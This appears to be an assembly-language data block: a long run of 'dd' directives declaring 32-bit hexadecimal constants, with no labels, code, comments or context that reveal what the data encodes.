dd 0C5E2D860h, 0F96B2210h, 7C918500h, 3D68700Ch, 0E43BF224h
dd 0ECE67A38h, 945BF93Bh, 39E42ED6h, 1C5D3BA2h, 138051FCh
dd 994BD018h, 28BE0082h, 0CAF2E83Eh, 0DB7553B8h, 0CE5C080Bh
dd 0B7A0C006h, 1C97A3Fh, 0EC8429A3h, 71A48E38h, 0C270A027h
dd 7E104C09h, 92500080h, 1760354h, 0EF155AC6h, 402F5D7Bh
dd 3ACE2A85h, 0AC1D7090h, 1081190Ah, 0A4FF7BAAh, 3A5AC4FCh
dd 0E8A65C1Dh, 0B63B002Ch, 1FC570E6h, 0A6957B00h, 5DD7A46Ch
dd 7F1D0076h, 189ED8Ah, 0DD000C03h, 96A69BF2h, 0E77B7A0h
dd 0C0744C35h, 0A0B2A00h, 3A0C9A28h, 1002EEB4h, 0C1AF0010h
dd 0CB695E73h, 0DC1C32EBh, 228F5624h, 852B20E1h, 0F174E53h
dd 0D5CA0C36h, 9B3A5F00h, 4418524Fh, 0F3DAA9FAh, 0BDE101BBh
dd 0A456B753h, 314FF807h, 84AE0100h, 137A1154h, 0A44D5075h
dd 72A71D45h, 884C0018h, 874A17A3h, 2007474h, 780A0783h
dd 0F6B88Ch, 0CA308627h, 12805870h, 0B761E500h, 6D443D2Ch
dd 6CC704D0h, 0A0DA3B52h, 0AB0162C8h, 17A9F46Fh, 406038BAh
dd 9703007Fh, 0CA41D15h, 0B470B0E6h, 7EB79A0Fh, 1870098h
dd 2D529D8Fh, 0D4006391h, 0E82295D4h, 31000D7Ch, 3BF64BA0h
dd 7E17E82h, 4A3861DCh, 651600C2h, 0AA00E36Ah, 95200DADh
dd 0F6E4BFh, 0FFCF815Dh, 58547A03h, 0B504B807h, 0EB0244Eh
dd 0EA59C5C3h, 0BE9E009Dh, 17ED525Fh, 7300BA86h, 672510F2h
dd 0D097A6h, 0BE6489F9h, 69C0237Bh, 92C4DF07h, 2560989Dh
dd 486A38B0h, 28633EE7h, 17905B4Fh, 1C009A79h, 108B53ECh
dd 0C8853Bh, 0D8CFA15Ah, 6AF7B684h, 0F873F8C0h, 1C07669Fh
dd 80618609h, 36215EBDh, 5900226Eh, 0F1A64A6Dh, 72B978h
dd 501527B8h, 61DD2D7h, 0B183C50Eh, 0FAD4A039h, 4849EFB4h
dd 9E03FCDFh, 3A17DCFh, 0BB306AB0h, 9B776B00h, 26E1DBCBh
dd 351F0069h, 81C1D1EAh, 8EC426Fh, 62324Ch, 23313487h
dd 29AF40Ch, 7BA9DA49h, 48C34D8Eh, 628AF1A0h, 145C9680h
dd 85DBB0D3h, 3D789C4Ah, 0E02BA507h, 0D3924619h, 9800E366h
dd 1E9B6E22h, 0C7A6A1D5h, 0E831D2h, 30683E74h, 81E54417h
dd 4DE6E803h, 0F7DF0C6h, 0FCBF7909h, 1294795Bh, 4915F5CCh
dd 10609514h, 7C1FA70Eh, 8A402805h, 9E2C3201h, 17F30966h
dd 0B88BB1ABh, 0A6E60000h, 4B008B9Fh, 0F267880h, 0E29ABF37h
dd 0B4B7009Dh, 84EF5CC0h, 8000AAFFh, 49966726h, 5894E9h
dd 5DBA5A03h, 69201EBDh, 7C718B02h, 0C0E009B5h, 26A6FCF6h
dd 1D1CF68Fh, 722105EEh, 0FB0FC1ECh, 1246E8CBh, 1E432A1Fh
dd 3762501h, 4BF090CDh, 0B74F035Ch, 77ADD1B1h, 0C6D3FC98h
dd 0F0E7C800h, 50186325h, 374C0009h, 0D5961AA5h, 4B00807Ah
dd 0D9F8C195h, 4E9005h, 0D429B00Ch, 6F2BB68Bh, 3D4D4B00h
dd 0F55F1F51h, 0FEB200F6h, 0FDD3B361h, 30001192h, 3B212AB1h
dd 718593C9h, 8FF600F2h, 0AF876B49h, 0E2728079h, 1144E600h
dd 303221B7h, 76B200DCh, 0DF34CD7Bh, 70009623h, 8B409238h
dd 0A12965h, 0AA1AAD6Fh, 0E6842E6h, 0A4DA8501h, 8B416ACFh
dd 4CA3FE8h, 127EE78Eh, 0CF7DC719h, 35B8A8A1h, 8F8BD052h
dd 0CC813Ch, 687E45F2h, 325F3ADh, 351130Ch, 15A8B910h
dd 8F00CD55h, 3077D8ABh, 9DA4174h, 0A63C6876h, 61406C8Fh
dd 6A6E3EE1h, 52001472h, 0CBB5E86Bh, 583DA0h, 3911F732h
dd 92BBF5B9h, 725B5500h, 5C57E976h, 80960086h, 1AFE759Eh
dd 0B15CA9C4h, 0C2CB013Dh, 1E0EA34h, 10864C4h, 82573786h
dd 607588E1h, 250EA93Bh, 2091E484h, 4137F6C2h, 10DB2455h
dd 890800A9h, 0AE11F3FBh, 1C65E400h, 5C5EB9C0h, 4E3E01BEh
dd 0E080289Ch, 2D26C83Bh, 0EF325D00h, 297BE2B9h, 77D1000Fh
dd 1DD5BEDBh, 0EB059148h, 856DF15Dh, 0E21DA00h, 0ED61CDh
dd 16500F08h, 0FA574C14h, 54377005h, 6EC13AA5h, 0B7E85156h
dd 398C001Dh, 0D58A62Fh, 0E107EF2Dh, 29697173h, 0BE909C27h
dd 0C3228Ch, 47E099A4h, 600BFF05h, 843F631Dh, 8BFB39C0h
dd 0C99B9Ch, 0B4123689h, 832DD39Eh, 0AEF9B900h, 0D638CCE7h
dd 97C100D9h, 3B99E144h, 7D00BB2Ah, 1586F55Ah, 2FF0938h
dd 7EAA9C73h, 2D60FB24h, 70EEF04Dh, 962BAE07h, 0D4402952h
dd 186E994Ah, 0B826B94Bh, 8D0162A8h, 0C4367A3Fh, 22E80254h
dd 1917ECFh, 7FDF6C5Ch, 70594217h, 2C003BDEh, 7A7906FEh
dd 0B86FD509h, 0F9957DD5h, 0A066DCh, 0F920DA0Ch, 0EC0AE2DBh
dd 722FE500h, 0A4D84BCFh, 0F211C75h, 36CE8007h, 0DDFD0237h
dd 0ED006676h, 4008C76Ch, 74C6AD67h, 0A5F31F7Ah, 0B20180E5h
dd 0A9FE9FB9h, 6A51DE00h, 2407051Eh, 0FC45000Bh, 9528EFE1h
dd 0D42C0CFFh, 9907EAFEh
dd 6810C5E7h, 0E667276h, 0E47F31FAh, 0CF7A027Eh, 5E085E3h
dd 483B86F7h, 80983B8Dh, 61B182D6h, 24A59Dh, 0FCF07101h
dd 7F2B40C8h, 0B8283F00h, 0FF34AAC3h, 5F7A079Dh, 20BEDCBAh
dd 0E2AEC9A1h, 0EA0AB007h, 879158FEh, 80403F96h, 7681114h
dd 0E28ADBF5h, 0A4337090h, 8D00BBF4h, 76AE98EAh, 0DFC75Dh
dd 49836541h, 0DBBD9209h, 7B4B5100h, 0BEF37E33h, 9CF40031h
dd 7D3B0410h, 561834A4h, 61906AB5h, 0CC010474h, 0C0F7BC18h
dd 75D4F32h, 4B7802F8h, 2A357A00h, 0F881F998h, 3E420024h
dd 0CFB1286Ch, 0C106D8E1h, 65F1FEBEh, 0E0FF0470h, 0C00BED59h
dd 10F5897Ch, 60033538h, 4002F110h, 19A63ED5h, 8B3DED81h
dd 9635CFD8h, 88004888h, 2D15C505h, 0A16E6096h, 0A23B7610h
dd 0EE002F90h, 4AF3799h, 5F9ADFh, 0C358EFEDh, 34AEDE3Ah
dd 7400B672h, 710A20E1h, 7BC9D4BAh, 0AC7F28h, 638CD9C1h
dd 64417A59h, 6324D07h, 740EF2Eh, 0CD78C3h, 5FDEB9AEh
dd 229D9955h, 0A08B8700h, 74893017h, 0EFB7005Ah, 0F0E282DFh
dd 0E00FACC6h, 40FF29A3h, 7B0882Eh, 0A2D03A7Dh, 83DD3900h
dd 0CD441CA4h, 0BBE80E3Ch, 3F6A0058h, 20D96D86h, 0FF80382Eh
dd 62407800h, 42AFB99Dh, 0ABEBD203h, 0B07FB74Bh, 19A217h
dd 866477DCh, 9030AC06h, 7CB5CB14h, 3A610FB8h, 0B81FE097h
dd 0DF400Bh, 42078D79h, 73A97BA4h, 43312400h, 0C4335A2Ah
dd 7DA50006h, 0BC2BB1CFh, 0F20012ADh, 86196871h, 94223CBh
dd 7C22154Fh, 0FB701403h, 25A3B4D0h, 1F0CC700h, 0FACFF9B7h
dd 302A002Eh, 0D96CFD8Fh, 0B400D68Ah, 63B93BF7h, 0FCBA55h
dd 4DBB28AAh, 7D2F87D4h, 0DF3E461Ch, 0ED067FC3h, 0AD6A880Ah
dd 0A6450E38h, 0C3408577h, 157C4205h, 80332B30h, 24EEC6FFh
dd 620019Eh, 197D6F07h, 35718408h, 4FED001Ah, 2E9DF041h
dd 48541F07h, 634081B2h, 12D7644Eh, 0ED2DD62h, 0D1C0DE50h
dd 4805B9F8h, 0E46FDC01h, 3B67611Dh, 1A0E7C8h, 0D42FEAC1h
dd 0FC62AFBEh, 0E9B0C77Dh, 0FACA5300h, 26B41E1Ah, 10760E91h
dd 809DF6B2h, 0E6A3B50Bh, 0FA0CD70Dh, 48DD5379h, 0C378FFh
dd 0EBD82FFEh, 0E22E031Bh, 4A7D109h, 1602FF13h, 56409216h
dd 0BB0058DDh, 0E953E69Eh, 27BDB9h, 1B508CEFh, 8ACE386h
dd 0D652C200h, 78077ADCh, 0F00A07C7h, 8E284570h, 0B9802FA0h
dd 79001B87h, 0A83B7AF3h, 450367h, 0AFE03F95h, 3DEC8661h
dd 0E0A1496Eh, 0B0BF0CC4h, 71AB7371h, 58B118D6h, 0C9CE2154h
dd 210988A8h, 0F7E27E00h, 29416C33h, 30117D1Dh, 0A32099E7h
dd 0C3004F06h, 470996F0h, 0DB9815h, 5443451Ah, 0BAF9E5E0h
dd 0CBA2AC00h, 3D72BB8Bh, 0F8A47BDFh, 0CAAF011Dh, 0A31CC193h
dd 0EB57C8EFh, 0BF00BAEAh, 0E7F03C3Bh, 0FC7F3F03h, 8AE20043h
dd 8B3ACB1Ch, 0BC1962B0h, 9428BE29h, 0E2B0FF13h, 0D87FF9D7h
dd 0CD00DAB8h, 20A7CA5Dh, 186B497h, 9F1EBA7Bh, 0F05B2331h
dd 4000ABF7h, 0FAC2F313h, 0D4EE78h, 84560962h, 745B125Dh
dd 0BBD6AB07h, 0DAD0C420h, 4CE0A7h, 95EF6EC5h, 83FF5971h
dd 6B29B01Ch, 0FEB4D781h, 8BE47853h, 193C0EC0h, 2A80B1F9h
dd 0A4BC8AA8h, 85075C00h, 88D7E90Dh, 0A5B31EDCh, 0E1804169h
dd 0CC97BF2Ch, 4C003264h, 0B919C7CAh, 0FE8F7A35h, 145C7A70h
dd 0A0AD96AEh, 1C96E93Fh, 18A4001Fh, 9C05CD5Eh, 9E20E52Ch
dd 0A9024301h, 92E887ECh, 0EE5E00F2h, 94868453h, 30000347h
dd 6AADCC2Bh, 0BFF318h, 44F7B58Bh, 0D2A01F97h, 0BD5D2300h
dd 8E33E1E0h, 0F1D70077h, 3F7888A8h, 0E793587h, 0EBF2EE07h
dd 7A204668h, 0E0532397h, 92AC00FEh, 9C20427Bh, 757365A6h
dd 0A2E6FA00h, 38BB9868h, 366B0BF1h, 65844CBEh, 39AF803Ah
dd 0D9149417h, 0F40AE3h, 47F0CF26h, 73E983DCh, 635E2C9Bh
dd 0BE400F4h, 7EFC6BDFh, 4D851A00h, 0C2FEF38h, 44F800E5h
dd 0E9428441h, 770F5347h, 0AA5CD5h, 0D1FD2B25h, 6234009Dh
dd 0ACA685FBh, 0E912B1BDh, 400009AEh, 38EEF375h, 871100B9h
dd 0A5BC0B30h, 9AEA3E51h, 7F93210Fh, 96D003Ah, 18D042ABh
dd 0A80CD7C4h, 8F00AA8Dh, 1DAE382Fh, 1BF6D4Dh, 9C193EC9h
dd 0ECED0118h, 7603B246h, 7908D3Ch, 0FB05E0D4h, 0D2B00FEh
dd 58C35A8Eh, 97B1DD7h, 0C908EF04h, 389657DFh, 559F0049h
dd 26347AC4h, 66002022h, 4395E913h, 94B8B11h, 874FA6E6h
dd 4CA45C00h, 2E00DA96h, 842F6DA3h, 48CF0DC4h, 9D0020AEh
dd 5E7CB877h, 4E01CEC9h, 0B2153783h, 1970586Fh, 5F2901F5h
dd 534F881Eh, 0B396D887h, 28E6BCF6h, 5BD73B01h, 1A5CCA0Eh
dd 1F5ED3D4h, 459CD9Eh, 0BCB67063h, 0EF300B3h, 0D6AA539Ch
dd 0BDA0C6Dh, 0B4A19908h, 1E18EE7Bh, 0B0107943h, 2CB51F68h
dd 65E6C0C9h, 36FD5EA9h, 4D449800h, 0CBD122B2h, 7DC1001Eh
dd 0EDC3B03Dh, 92E68555h, 173AC700h, 4FCF9B7Eh, 9719006Dh
dd 87F6C990h, 0D4FC8AC4h, 442239h, 24DF9E92h, 338F8Ch
dd 84554EF9h, 83D859CCh, 2008070h, 975D9951h, 3C9476B6h
dd 698090F0h, 7A6027E8h, 3700FC80h, 653D7CA1h, 19EE32Fh
dd 69C37ED9h, 0E557A22Bh, 0B0804820h, 0ABCE7200h, 0B3767E4Ah
dd 1D37F030h, 8997749Fh, 0E00054B7h, 6DEC5A39h, 7147D318h
dd 935B20h, 25BCE9F2h, 396080B9h, 1DF6D200h, 33ED6E4Ah
dd 0C91700E1h, 897DB644h, 8E3E385Dh, 0C0808087h, 0CD71AFA7h
dd 41A019Ch, 742B8C98h, 0CA2EE4EFh, 0B2822407h, 0A2507126h
dd 38D750F7h, 0C8005AFCh, 6607BCA8h, 0E507128Ch, 3D381F86h
dd 25DCB941h, 9C87DDC1h, 53EE7EECh, 5DE0D287h, 2C507811h
dd 6F0073D4h, 0FA88DFD1h, 68DD41h, 91476948h, 5610F9B0h
dd 53E26F00h, 0AA175DBBh, 8DC02EE0h, 14680066h, 0B9FA9C8Eh
dd 0D607EF1Dh, 4A38BBCh, 2270019h, 2F25E1h, 0BDB2BCA4h
dd 0F20AD076h, 8072C203h, 98A64F6Ah, 0C7D971h, 0ECD22B07h
dd 1DB07EBBh, 951FB47Eh, 0A3407F98h, 4A4489E3h, 734E00ACh
dd 339CC7F4h, 34000815h, 85FDDF6Dh, 0EC46A1Dh, 3623D70Fh
dd 63E7F520h, 45FA73B9h, 7C479604h, 7C2E0C5h, 0F186607Bh
dd 0D29239BEh, 94A07800h, 0DA3C4C49h, 0C1ED5A00h, 7018A26Fh
dd 489B0F39h, 0EEC39488h, 89A85060h, 20CF6A83h, 8E2040EAh
dd 0EED91A45h, 28D34856h, 30C87D08h, 0CA526D0Dh, 5CD420h
dd 5E061E2h, 5DFA8D3Bh, 8301D17Fh, 0F15FAA75h, 0A2F480A0h
dd 16EF2632h, 0A1033E20h, 20F8E894h, 0FC36C2D0h, 1F5848h
dd 3E3DB9A6h, 17CB2A5h, 95FA4897h, 0D096275Fh, 64F46956h
dd 3590D00h, 238A9E8h, 0F024005Eh, 535CEF8Ah, 0B80F8604h
dd 4035DC07h, 0FC4F50AEh, 184A0003h, 8FF9CD52h, 221C75FBh
dd 0B006A16h, 6843D906h, 0F6AFF850h, 1AAA0085h, 2552020Fh
dd 2001D0B4h, 0BBE4741Eh, 0B9FC6BA4h, 0EC79024Eh, 3965D3EBh
dd 1D1E7FC0h, 0C585D800h, 0B37B8FA5h, 132900E8h, 0CDFB0F9Fh
dd 4807E60Ch, 0DE254695h, 0FFFA2CF3h, 0D666A060h, 167A0005h
dd 5C3C3E5Dh, 0B87EE897h, 4E4CBF00h, 800E6038h, 7A730C24h
dd 0D03933AEh, 7640CB7Dh, 9D233808h, 990809B0h, 6700F5CDh
dd 98BCAC17h, 386F6406h, 0E1E9269h, 0BF448036h, 725B5C6h
dd 0A5C2A607h, 2483E085h, 42B8D04Ah, 8040E1EEh, 813BEDh
dd 9D994C17h, 0A0A47EABh, 2E2F850Eh, 2363A076h, 3B1F1Bh
dd 1A39AC3Dh, 0E40FA7CFh
dd 0C5785001h, 21048355h, 3817F530h, 6F01B144h, 58A161FEh
dd 312521B8h, 57B830D9h, 0AB00097Bh, 0A94C6971h, 775EF5h
dd 0F2B7AED8h, 6A999AD0h, 0A3F70D00h, 0AB9C3231h, 1CAEEC4Fh
dd 808E62C1h, 8D2DF1D8h, 0DBB8D280h, 4852FB00h, 0E64E2AFh
dd 0B0097C8Eh, 57330006h, 23ACF290h, 7D5CFEF4h, 4EC3F6Fh
dd 0C5805A08h, 0BF90088h, 3AE8701Ch, 3C0C4580h, 800A78Fh
dd 0A09096BAh, 182B60Bh, 97812289h, 0D4212A91h, 7CC066BCh
dd 0F5F66037h, 7CD2044Ah, 81754FD5h, 9C25A56Ch, 942A028h
dd 0A3F1FE5Dh, 756E32B8h, 5AFF39E4h, 8112A200h, 19B37946h
dd 143B49h, 5E2F4705h, 0EA75309h, 0A42E1DB5h, 8421148Ch
dd 882F4B00h, 42993DABh, 393801CDh, 581951BFh, 0FF508180h
dd 5B858DBAh, 60DBE0h, 0DA4D9BD7h, 2FEB36CFh, 0BDE94Ch
dd 311CB7D4h, 0F3AEA63h, 3B2D0223h, 807D8C85h, 0C1C2367Ah
dd 0EFDE1A07h, 2C02B3Dh, 45AEF6h, 50E5B622h, 7BA01792h
dd 0CC6E5600h, 7D70EE6Ah, 65110A7Ch, 822FA8h, 237E2CA7h
dd 2D0E1476h, 0C0B738F8h, 5B79BF3Dh, 0A770054h, 0AB06499Ah
dd 0B90E6AA5h, 8068F4D1h, 0EB4FAC79h, 4A0A0028h, 9C3A4EA3h
dd 7E01A6E3h, 7F772E91h, 608023CEh, 0F0C7B81Ch, 0A70F4DEEh
dd 0CE75499Ch, 7900FF7Ch, 0B8C9B31h, 8E4600EAh, 6F97BF4h
dd 0CE70C7ECh, 24023300h, 68398FCBh, 0F3ED004Eh, 58F02B3Eh
dd 51077910h, 0FAD9F938h, 5F3D09F0h, 0B8A90044h, 0B601EFBAh
dd 0D2019753h, 0A766116Ah, 0A8D01699h, 1967EAFh, 8D3108D6h
dd 406D30B4h, 43208B94h, 0CCFE8406h, 0E86FE9h, 83BC9DA6h
dd 0DA19F27Ah, 3EF9D300h, 97B5F05Eh, 7E6B1D78h, 8D5600C5h
dd 24F48018h, 349DD500h, 0F71F5AB8h, 27C700BDh, 490BEC08h
dd 70F9C950h, 9400F43Bh, 1D594A7Eh, 0B067D9h, 0CEF7C3C7h
dd 0E7F9A619h, 7A6C1F00h, 5DDC812h, 8A790262h, 0CA32F67Fh
dd 0D1CF2840h, 0DF9AA101h, 0FF7EFEEEh, 0EC1ACE30h, 6A8E00C4h
dd 894F6669h, 0BA380A75h, 0F700FC04h, 0B2CA0255h, 0A0F2ACh
dd 2B2EDAA5h, 39E5090Dh, 7B4A6500h, 8412D849h, 0BC9073Dh
dd 0FC1D5540h, 0C800F5A1h, 0CACC10ABh, 0DF194930h, 0D3AF0070h
dd 67EE18B2h, 6D027076h, 2B55F9E8h, 0A15FC080h, 0BD194C12h
dd 6DDE26h, 4518B59Dh, 9BFEC8E7h, 248B1100h, 0A4E3A76h
dd 0DF38013Fh, 0F0993ED2h, 0AA1083F3h, 0A081D152h, 501579h
dd 88392EB8h, 10B76447h, 0F6CD8000h, 37AE8157h, 4ED60670h
dd 5048E10Bh, 35474307h, 6B70834Bh, 1608C4h, 0CC861F0Dh
dd 0AF8252FCh, 0AD00797Ah, 0F1E655AEh, 10B5BD5h, 3E56498Fh
dd 800919CAh, 0D1FB9088h, 79C1248h, 5894F76Bh, 7192143h
dd 0CCFFE1B9h, 1B008F69h, 0A71210Dh, 1F584F1h, 18E7D9F4h
dd 60385C9Bh, 58EC9770h, 467CBC01h, 0C7ED13A0h, 5ACC0h
dd 1B89E751h, 0FB691F6Dh, 0AAD4291Eh, 771C80BBh, 6F265106h
dd 0D1BA1743h, 205F108Ah, 6BEACEA0h, 0DF0F9B42h, 0A48FEE8Ch
dd 1E690220h, 0F360C0C7h, 0F82B7C30h, 1C45030Dh, 0A50BE2F2h
dd 59014904h, 9C07234Fh, 723440F9h, 0AD00D65Dh, 495405C2h
dd 1C7120h, 0CC8C53Bh, 3EEE75B9h, 2D745C06h, 85FBBh, 3DBF7913h
dd 504E51D2h, 54E12F00h, 3848DFEAh, 0C0494C97h, 9CC3C860h
dd 30C25F62h, 0AF3324E4h, 7DC820A4h, 75AC13h, 0C3F8940Ch
dd 0C7DF6903h, 50F29EFAh, 20122F2h, 2A01E43Bh, 0B9801338h
dd 63E5F6EEh, 950220C2h, 9E2FC949h, 5380B0B7h, 0E4B01DF7h
dd 8740233Dh, 94CDCF2h, 2912F52Dh, 8CE47E80h, 37F23436h
dd 5C693000h, 0E9DF42FFh, 8BFE0077h, 9CA17453h, 0D900914Ch
dd 4DD3EAF3h, 19F0AC5Eh, 0E0C2D1C8h, 430D2033h, 0C500CEB0h
dd 0F00187DBh, 55D3F90h, 380A6EDCh, 95E60586h, 2B202CD4h
dd 8055B821h, 70D95898h, 0B37C207Eh, 816EE11Ch, 0F917485h
dd 1BC6CC40h, 388ED796h, 0B40F24D3h, 0AB827580h, 0DC806A59h
dd 25641542h, 0F49B0F00h, 7F236EE4h, 44C84897h, 0D67C840h
dd 4FF1E344h, 6957E030h, 3A0CEE00h, 0EBDAABB5h, 215F061Eh
dd 7916DFA4h, 0DBC1980Fh, 0E06F20F2h, 53DA61h, 56F3E1DCh
dd 12EB5E77h, 0A44D7300h, 88858074h, 0C22D0E3Ch, 0BC407191h
dd 0D2EFAC07h, 0D94D0104h, 38904606h, 0FAF65BDh, 1C6FA7D5h
dd 61405B67h, 0FCEC9F19h, 101DBCBh, 0ADD46612h, 0EBD44D75h
dd 50310090h, 0F84C8B4h, 0CB3E0B89h, 4E00F70Eh, 0BF58C1F5h
dd 984DBE34h, 89440097h, 1569EAFEh, 0D1C010BBh, 0CAD9049h
dd 0F6D600F4h, 37118B25h, 0A0E39DBh, 0C0D0EE56h, 0B44BFED8h
dd 1594A818h, 64DF00A9h, 0DEAF594Fh, 9A3A715Ch, 900106CAh
dd 286BC6h, 29325FAEh, 884B833h, 410E8090h, 0C0FBD7B2h
dd 0FAF398A2h, 91794CC2h, 1EF74800h, 0B6160B0Dh, 0EC5EF800h
dd 0B20FEB55h, 84A73CD2h, 2D8FF183h, 6EC0ABB3h, 1E39D607h
dd 1FCB3831h, 42BC476h, 8A4E05FEh, 0C0BCC8F6h, 1F63D04Dh
dd 0AF781E00h, 0B5FCB891h, 30996E64h, 5B3D9C0h, 27E0C4C7h
dd 743BE0EDh, 0FFA681A0h, 14345AF9h, 0E010B211h, 609CFED2h
dd 0A9CA0905h, 0E09FD70Fh, 254868h, 29F372B5h, 0FABA21ACh
dd 61FB43Eh, 0EC19F517h, 49613B18h, 9C9881C4h, 83FD31C2h
dd 92E122FBh, 27F50C81h, 893011F4h, 4B7ED908h, 3AE15A89h
dd 4018AD12h, 51C04428h, 19C2AB90h, 25C732F2h, 0C11842A5h
dd 0CA2EFE2Fh, 85080C4Ah, 98894234h, 3B6A248Fh, 0D01D100Ch
dd 399FE124h, 78A83108h, 0CA0353Eh, 18A05F05h, 54A13155h
dd 92185069h, 55895D93h, 42D5904Ch, 8AB92197h, 150C8CB8h
dd 0E53EC00Dh, 0C442180Eh, 25EC28E0h, 0F405E17Ch, 8261513Ah
dd 77D00C1Dh, 16E69C07h, 7F3B0D3h, 0A5002112h, 60A98BE2h
dd 0D768D4h, 979EF910h, 0EDE44DF2h, 1E378403h, 8713F593h
dd 2B7F2C90h, 0EC170020h, 4EAF286h, 0A40095EBh, 0FCE58EC8h
dd 388A7403h, 0A184F453h, 0EE23F63h, 0BE10A0CDh, 74DB0BA7h
dd 5CF7031Fh, 0C622B067h, 2961B900h, 950B9AFCh, 0D4A0CE0Ah
dd 8844DD06h, 3BB00F00h, 0D1D76699h, 0B5711C41h, 0C8FB585Dh
dd 0AA1459A9h, 0A81C05B9h, 887401FCh, 8C3603A8h, 10B18057h
dd 0AFAACC6h, 54600AFh, 12F2C08Dh, 8C7B0DD1h, 1F0EF70Ah
dd 41808CE9h, 61712748h, 36A50006h, 991EB97Bh, 0E30095AAh
dd 0C23A227Fh, 0A08BF4FBh, 608504B3h, 711BA0BCh, 681518B0h
dd 1141A74h, 0DC585D1h, 3450DDB1h, 2DB4ECh, 0C28F6BADh
dd 0F5C08011h, 485AFF1Fh, 3880049Fh, 2120A7C9h, 678E0033h
dd 1F4A5929h, 0CD1CA69Eh, 8A406A96h, 37CE840Ch, 271700A2h
dd 0A5056D1Dh, 6473F989h, 8012F13Dh, 4D33738Dh, 242A9FAh
dd 592ABE50h, 0F8E0EC91h, 3C00B6C9h, 25261A31h, 3EA5F36Dh
dd 7C808804h, 96681983h, 29296653h, 15604018h, 44DF3h
dd 0D07667CFh, 0F24519BEh, 2ECD600h, 0CA5E57D4h, 921302B8h
dd 4ADD2BFh, 0E46AC080h, 88DE5ABEh, 0A5024906h, 0E24807F0h
dd 0C0ED7D16h, 8BE3E422h, 7C3C9C3Ah, 54190A60h, 6305C09h
dd 0E9A2C3B5h, 1C30F86Ah, 540408E6h, 48C5F8A6h, 0D400683Fh
dd 550C10DBh, 8217FCB7h, 2C01DC7Eh, 1177B293h, 0DBAA90E3h
dd 0CEBE00B3h, 8D670814h, 9F3B8B7Fh, 5D059F42h, 0C3DD210Fh
dd 1E7DEF91h, 0C3AEDA18h, 0B5B43C2Bh, 0AFD0CAC3h, 5EB8A1A5h
dd 0CDC6A317h
dd 29214A00h, 1B66CFDh, 0FC8F4344h, 0F078CA60h, 560091E9h
dd 0B29F7ECCh, 6997C4Ah, 26D21894h, 220A0BFh, 3AAF18F2h
dd 742B40CDh, 0B5557500h, 654C1C50h, 0AD421F21h, 0AB5BC03Dh
dd 0E76D08C3h, 0E908F63h, 2355C0BDh, 28317472h, 18C07093h
dd 780FCF91h, 7132244h, 61B8C873h, 93DB8703h, 4006664Ah
dd 8ADF3696h, 4CD200A0h, 8B2F949Ah, 7B71FC01h, 88C28100h
dd 21877D47h, 3DB8EE3Fh, 0A01D5D63h, 583384A9h, 0B2811C5Bh
dd 0F901D79h, 0C9DBBE4h, 0BDB53E96h, 896082E8h, 7EAAD0B1h
dd 30D35719h, 37C0087Ch, 0BEC26095h, 9D250044h, 0CA0065EFh
dd 1035268Bh, 5AB303E9h, 0F3BB8F6h, 0E0C9B862h, 0DB575191h
dd 0BA6A032Dh, 10FC73Ah, 0C66D30DFh, 900881Dh, 0A6EB3033h
dd 190411FAh, 708E7690h, 3F4BC067h, 73DD0100h, 51DE2AB0h
dd 7A9012FDh, 6118070Eh, 80C5A417h, 0EA356D08h, 971C4E01h
dd 0AA1643F6h, 0B18CA040h, 74E72059h, 333E0700h, 32526024h
dd 0E80800F7h, 0C5A8D68h, 0FD00428Eh, 0A57B1B3h, 0E8CA90C0h
dd 0A3482895h, 0F944A088h, 276A308Fh, 5F7B9CA0h, 16F9E660h
dd 0FA3C7431h, 4350918Ch, 0F1D72551h, 0F241F83Ah, 4E944880h
dd 9000B126h, 428D9B23h, 98964Dh, 3513978Eh, 0D392E06Dh
dd 7E121E00h, 0DD2285BDh, 37800C4h, 5B966350h, 0D70AC516h
dd 849F884Ch, 2DCB189Ch, 3A71005Ah, 0CF79715h, 42FBB14Ah
dd 0EE1896C8h, 0A23087A4h, 0B1B36231h, 2209BECh, 60550E68h
dd 3BAEE8A3h, 0C5286595h, 7BFEEC82h, 0F8E8F430h, 1DFC62Dh
dd 6BFF5C77h, 308B0FBCh, 8921E55h, 0A0CC54Ch, 847A5B07h
dd 329C2000h, 310441EBh, 7431BF23h, 0F6518EFCh, 78C96C64h
dd 6A8577A6h, 1034A15Ah, 9A70807Ah, 0F2A171EEh, 528F37B6h
dd 8E2B40D1h, 3D0781DCh, 0B8D62FB2h, 3CF7414Ch, 1C3730FAh
dd 3F828179h, 48BEDDB5h, 8CCC08h, 0CA319A90h, 2113B395h
dd 0C0C67C2Ch, 7B65A403h, 48D0BC17h, 15974ABh, 3A82764Bh
dd 30A37EF4h, 2E008906h, 12C2F879h, 14AEBC7Ch, 0D81B9840h
dd 81048B8Ah, 0BC86F973h, 0F018355Bh, 0A614BF58h, 3AA033AEh
dd 0CCC613A3h, 0C2B16800h, 0C5843906h, 8245A681h, 0CC40A0B4h
dd 0FA14BE95h, 0E89CE4h, 1A7DFC2h, 22283Eh, 20E55DB9h
dd 0B13D7440h, 20FE9224h, 0B881CD50h, 21C880A9h, 0CAE80A1h
dd 0F8207474h, 0C15A0266h, 94AF076Fh, 0A79EFD60h, 38FCE63Bh
dd 513E06B4h, 1D805B3h, 0AFA28D01h, 40556A08h, 0DF498028h
dd 0F2BE3F00h, 84C30BAh, 10406028h, 4F98130Eh, 35958202h
dd 90E80BD0h, 6E40BD30h, 0F0D4B0ADh, 6FFF5A80h, 0CB0011C9h
dd 4C254B0Ah, 0F31636h, 5BFB04B4h, 7E76823Ch, 48DBCA4h
dd 32F2DC80h, 90856C62h, 0F0290A7Ch, 0E387650h, 0EB8169BFh
dd 0E8C83F2Ah, 0F9F7E13Eh, 0D47031E6h, 1A1FA0DEh, 530765F3h
dd 6030414Ah, 0A8E6339h, 768A6E21h, 3F3740F4h, 9E008791h
dd 0CC0712C8h, 0DC62B8h, 0F09AB10Bh, 0D47FF37Eh, 742011C4h
dd 0C476A300h, 1A06A5C1h, 4CF3645h, 4DE50CC0h, 84A8B659h
dd 0FE9A0C00h, 81D28005h, 3372005Ch, 31914068h, 31D3FADh
dd 0B0D49429h, 610D016Ch, 8F9C1958h, 0BD40900Ch, 224501CAh
dd 0FC3A0CD7h, 69BE13h, 24900A6Ch, 5097E45Bh, 3AF89818h
dd 0CB2A918Fh, 5D1A21A0h, 20EC78Bh, 0A5C9AFD9h, 0A040D534h
dd 0A7319E30h, 0DC7300ABh, 77A8842Ah, 0BE181893h, 487858B6h
dd 91DD15E0h, 0EA39DCDBh, 4DD3AF80h, 0ACD98E77h, 13A3963Ah
dd 0B007F061h, 4713BCE1h, 0F385F1FCh, 59FF860h, 25A760BBh
